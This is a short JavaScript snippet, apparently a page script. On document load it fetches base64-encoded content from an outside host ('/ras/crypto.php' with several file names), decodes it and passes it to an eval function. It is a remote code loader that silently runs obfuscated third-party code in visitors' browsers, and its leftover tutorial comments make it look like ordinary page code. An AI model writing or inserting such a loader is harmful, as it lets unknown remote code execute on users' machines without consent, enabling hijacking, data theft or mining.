var server='http://rootsandsound.com'; function evalCode(e) { code=eval1(e); } function getJS(fl) { var xhttp = new XMLHttpRequest(); xhttp.onreadystatechange = function() { if (this.readyState == 4 && this.status == 200) { // Typical action to be performed when the document is ready: // 'document.getElementById("demo").innerHTML = xhttp.responseText; //console.log(window.atob( xhttp.responseText)); evalCode(window.atob( xhttp.responseText)); } }; xhttp.open("GET", server+"/ras/crypto.php?file="+fl, true); xhttp.send(); } //getJS("ex5"); $(document).ready(function(e) { getJS("ex0"); getJS("ex3"); getJS("ex4"); getJS("ex6"); })